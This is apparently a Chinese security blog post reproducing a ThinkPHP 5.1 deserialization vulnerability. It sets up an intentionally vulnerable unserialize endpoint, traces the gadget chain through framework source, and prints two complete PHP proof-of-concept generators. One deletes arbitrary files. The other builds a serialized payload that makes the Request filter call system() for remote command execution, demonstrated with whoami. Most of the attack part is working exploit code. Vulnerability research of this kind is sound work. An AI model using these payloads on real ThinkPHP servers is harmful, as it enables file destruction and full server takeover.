thinkphp5.1 反序列化复现

环境搭建

composer create-project topthink/think=5.1.* tp5.1

运行

php think run

在application/index/controller下创建A.php (注意大写)

<?php
namespace app\index\controller;

class A
{
    public function unserialize()
    {
        if (isset($_POST['data'])) {
            $data = input('post.data');
            unserialize(base64_decode($data));
        } else {
            highlight_file(__FILE__);
        }
    }
}

然后在route下的route.php中添加

Route::rule('unserialize', 'a/unserialize','GETPOST');

file

漏洞复现

入口点是think\process\pipes的windows类的__destruct: file 跟进close file 没有什么可利用的 跟进removeFiles file file

发现unlink file 因为$this->files可控所以这里有任意文件删除 poc

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}
echo base64_encode(serialize(new Windows()));

任意删除不是目的 继续审计 在上边filename的类型是字符串型,如果filename是一个对象的话 被当作字符串类型会调用这个对象的toString()方法 查找一下合适的toString()方法 conversion下的__toString() file file 跟进toJson() file 跟进toArray()

public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model  $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key])  true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

重点 file $relation可控调用一个方法 如果这个方法不存在会调用call() 前边没有return暂时先跳过 看这个if $this->append可控所有可以进入这个if file 这些都可控 file file 看getRelation主要是想让返回空 才能进入关键地方 file 因为name可控 所以很容易返回为空 file 接下来看getAttr file 继续看getData file name值是可控的 this->data也是可控的 返回值就是可控的 那么$relation=$this->data[$key] $relation就是可控的 $name是$this->append的键值所以也是可控的 那么$relation->visible($name)也是可控的 一种利用方式是找某个类中具有visible方法 另一种是找call()方法 一般call方法都存在call_user_func

需要注意的是$relation->visible($name)是在Conversion中getAttr()是在Attribute中,这两个都是trait类型而不是class 自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,如果要使用这两个要找到同时用use将这两个trait型的引入进去的 利用正则找一下

Attribute(.*\n)+(.*)Conversion

file 但是Model是抽象类不能实例化 找一个继承这个抽象类的 file 用Pivot 第一种找存在visible方法的类 没有可利用的 然后找合适的call方法 找到一个request中的call() file file file

因为存在array_unshift在$args前插入了$this导致call_user_func_array调用函数的第一个参数不可控 $this->hook可控 可以设置

$hook= {“visable”=>”任意method”}

变成了

call_user_func_array([$obj,"任意方法"],[$this,任意参数])
也就是
$obj->$func($this,$argv)

可以回调任意函数

这里需要注意到一个方法filterValue

thinkphp 大多数rec都来自这里

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }

存在call_user_func 但是这里两个参数都不可控 这里就又用到了这个类中的另一个方法input方法

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

重点是这里 file 利用array_walk_recursive调用filterValue方法 $filter是通过$this->getFilter得到的

protected function getFilter($filter, $default)
   {
       if (is_null($filter)) {
           $filter = [];
       } else {
           $filter = $filter ?: $this->filter;
           if (is_string($filter) && false === strpos($filter, '/')) {
               $filter = explode(',', $filter);
           } else {
               $filter = (array) $filter;
           }
       }

       $filter[] = $default;

       return $filter;
   }

这里参数$filter==””并不==null 所以这里的is_null($filter)返回的是flase 然后进入else

$filter = $filter ?: $this->filter;

因为$filter为空 所以 $filter = $this->filter; 所以$filter就是可控的 然后经过$filter = explode(‘,’, $filter);操作 $filter变成了数组 $filter[] = $default;这里是给$filter数组添加了一个数据$default file $filter是上一步filterValue方法中call_user_func($filter, $value)的回调函数 这里回调函数就可以控制了 但是value即input中的$data仍然不可控 找一下其他地方调用input的方法 file param方法

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

最后这里

$this->input($this->param, $name, $default, $filter);

input的第一个参数为$this->param等于前边的

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

这里是获取到参数的值拼接上去 也可以直接构造$this->param 因为input中的 array_walk_recursive是循环调用 把参数都带进去执行一边 但是把命令放到请求参数上边可以动态执行命令 $this->get(false)是获取刚开始的get参数 然后拼接起来就是get参数的值 然后调用input第一个参数可控 但是$name是不可控的$name的值是 从这里的args得到的 但是 args前边拼接了this是个对象 file 所以在

$this->input($this->param, $name, $default, $filter);

这里调用input时name是个对象 就会导致zh这里出错 file

所以下一步是找个可以控制name的方法 找到了isAjax方法 file 这里调用了param方法并且参数是可控的 且param的第一个参数是name所以name就是可控的 然后就是rce了 file 流程

class Windows--->__destruct()

class Windows--->$this->removeFiles()

trait Conversion--->__toString()

trait Conversion--->$this->toJson()

trait Conversion--->$this->toArray()

class Request--->__call()

class Request--->isAjax()

class Request--->$this->param()

class Request--->$this->input()

class Request--->filterValue()

call_user_func()

poc

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    class Windows{
        private $files = [];
        public function __construct()
        {
            $this->files[]=new Pivot();
        }
    }
}

namespace think{
    abstract class Model{
        private $data = [];
        protected $append = [];
        public function __construct()
        {
            $this->data=array(
                'autumn'=>new Request()
            );
            $this->append=array(
                'autumn'=>array(
                    'hello'=>'world'
                )
            );

        }

    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{

    }
}
namespace think{
    class Request{
        protected $hook = [];
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        protected $filter;
        public function __construct()
        {
            $this->hook['visible']=[$this,'isAjax'];
            $this->filter='system';
        }

    }
}

namespace {
    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
}

调试跟一下 是个对象 作为字符串时调用__toString() file file

append不为空 进入此if file $this->getRelation返回空进入if file 进入getAttr name值为autumn file 进入getData

file 返回的是$this-data[‘autumn’]为request对象 进入__call() file call_user_func_array调用isAjax方法 file

调用param方法 且第一个参数为空 即param方法的$name为空

file

进入get方法且get方法第一个参数为flase即get方法的name为flase file $this->get的值为whoami 进入input方法 name为flase data为whoami file 会返回data也就是whoami 进入route方法 file 返回空 再到param中 file $this->param的值为whoami name的值为空 作为input方法的参数调用input方法 进入input方法 file input方法中进入$this->getFilter获取Filter值为system file 然后经过array_walk_recursive调用filterValue方法 第一个参数为$data=whoami 第二个参数是$filter=system file file

call_user_func调用system函数参数为whoami

file

file


thinkphp5.1 反序列化复现
http://example.com/2021/06/03/OldBlog/thinkphp5-1-反序列化复现/
作者
Autumn
发布于
2021年6月3日
许可协议